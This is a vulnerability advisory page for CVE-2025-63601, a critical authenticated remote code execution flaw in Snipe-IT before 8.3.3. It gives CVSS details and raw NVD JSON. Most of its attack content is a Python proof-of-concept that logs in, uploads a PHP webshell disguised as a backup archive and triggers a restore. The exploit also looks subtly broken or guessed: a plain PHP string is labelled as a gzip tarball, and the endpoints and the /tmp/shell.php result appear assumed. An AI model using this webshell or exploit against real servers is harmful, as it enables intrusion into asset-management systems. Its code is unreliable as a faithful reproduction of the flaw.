Security Vulnerability Report
中文
CVE-2025-63601 CVSS 9.9 CRITICAL

CVE-2025-63601

Published: 2025-11-05 16:15:41
Last Modified: 2025-12-01 16:15:56

Description

Snipe-IT before version 8.3.3 contains a remote code execution vulnerability that allows an authenticated attacker to upload a malicious backup file containing arbitrary files and execute system commands.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:snipeitapp:snipe-it:*:*:*:*:*:*:*:* - VULNERABLE
Snipe-IT < 8.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json import sys # CVE-2025-63601 PoC - Snipe-IT < 8.3.3 Authenticated RCE via Malicious Backup # This PoC demonstrates the vulnerability (for authorized security testing only) TARGET_URL = "https://target-snipe-it.com" USERNAME = "[email protected]" PASSWORD = "password123" def exploit_cve_2025_63601(): """ Exploitation steps: 1. Authenticate to Snipe-IT with low-privilege user 2. Upload malicious backup file containing PHP webshell 3. Trigger backup restore to execute arbitrary code """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{TARGET_URL}/api/v1/login" login_data = { "email": USERNAME, "password": PASSWORD } try: response = session.post(login_url, json=login_data, timeout=30) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Successfully authenticated") # Step 2: Create malicious backup with embedded payload backup_url = f"{TARGET_URL}/api/v1/backups" malicious_backup = create_malicious_backup() upload_response = session.post(backup_url, files=malicious_backup) if upload_response.status_code == 200: print("[+] Malicious backup uploaded successfully") # Step 3: Trigger restore to execute code restore_url = f"{TARGET_URL}/api/v1/backups/restore" restore_response = session.post(restore_url, timeout=30) if restore_response.status_code == 200: print("[+] RCE Exploit successful! Check /tmp/shell.php") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def create_malicious_backup(): """ Creates backup containing PHP webshell """ webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" return { "backup": ("backup.tar.gz", webshell, "application/x-gzip") } if __name__ == "__main__": print("CVE-2025-63601 PoC - Snipe-IT RCE") print("Author: Security Researcher") print("=" * 50) exploit_cve_2025_63601()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63601", "sourceIdentifier": "[email protected]", "published": "2025-11-05T16:15:40.897", "lastModified": "2025-12-01T16:15:56.437", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Snipe-IT before version 8.3.3 contains a remote code execution vulnerability that allows an authenticated attacker to upload a malicious backup file containing arbitrary files and execute system commands."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:snipeitapp:snipe-it:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.3.3", "matchCriteriaId": "9C4DCECC-A8F3-4B46-9B78-FFA81D309823"}]}]}], "references": [{"url": "https://dappsec.substack.com/p/snipe-it-post-authenticated-remote", "source": "[email protected]"}, {"url": "https://fptcloud.com/en/cve-2025-63601-proof-of-concept/", "source": "[email protected]"}, {"url": "https://github.com/grokability/snipe-it/pull/17966", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/grokability/snipe-it/releases/tag/v8.3.3", "source": "[email protected]", "tags": ["Release Notes"]}]}}